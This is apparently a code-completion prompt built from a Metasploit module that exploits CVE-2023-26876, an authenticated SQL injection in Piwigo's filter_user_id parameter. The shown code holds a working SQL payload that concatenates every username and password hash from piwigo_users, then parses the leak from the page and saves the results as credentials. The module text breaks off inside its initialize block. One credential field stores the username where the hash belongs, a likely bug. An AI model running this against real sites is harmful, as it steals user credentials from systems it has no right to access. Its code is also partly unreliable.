You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: piwigo_cve_2023_26876.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck
  require 'metasploit/framework/hashes'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ',
        'Description' => %q{
          This module allows an authenticated user to retrieve the usernames and encrypted passwords of other users in Piwigo through SQL injection using the (filter_user_id) parameter.
        },
        'Author' => [
          'rodnt', # metasploit module
          'Rodolfo Tavares', # vulnerability discovery
          'Tempest Security, Henrique Arcoverde' # special thanks
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2023-26876' ],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-26876'],
        ],
        'DisclosureDate' => '2023-04-21',
    
  def dump_data(sqli)
    creds_table = Rex::Text::Table.new(
      'Header' => 'Piwigo Users',
      'Indent' => 1,
      'Columns' => ['username', 'hash']
    )
    results = sqli.run_sql('select group_concat(cast(concat_ws(0x3b,ifnull(username,repeat(0x31,0)),ifnull(password,repeat(0xd,0))) as binary)) from piwigo_users')

    body_results = results.body.to_s
    match = body_results.match(/var filter_user_name = "(.*?)";/)
    if match
      data = match[1]
      data.split(',').each do |user_and_pw|
        user, hash = user_and_pw.split(';', 2)

        creds_table << [user, hash]
        create_credential({
          workspace_id: myworkspace_id,
          origin_type: :service,
          module_fullname: fullname,
          username: user,
          private_type: :nonreplayable_hash,
          jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
          private_data: user,
          service_name: 'piwigo',
          address: datastore['RHOST'],
          port: datastore['RPORT'],
          protocol: 'tcp',
          status: Metasploit::Model::Login::Status::UNTRIED
        })
      end
      rows_data = creds_table.rows.length
      if rows_data > 1
        print_status("Dump of usernames and hashes:\n")
        print_line creds_table.to_s
      end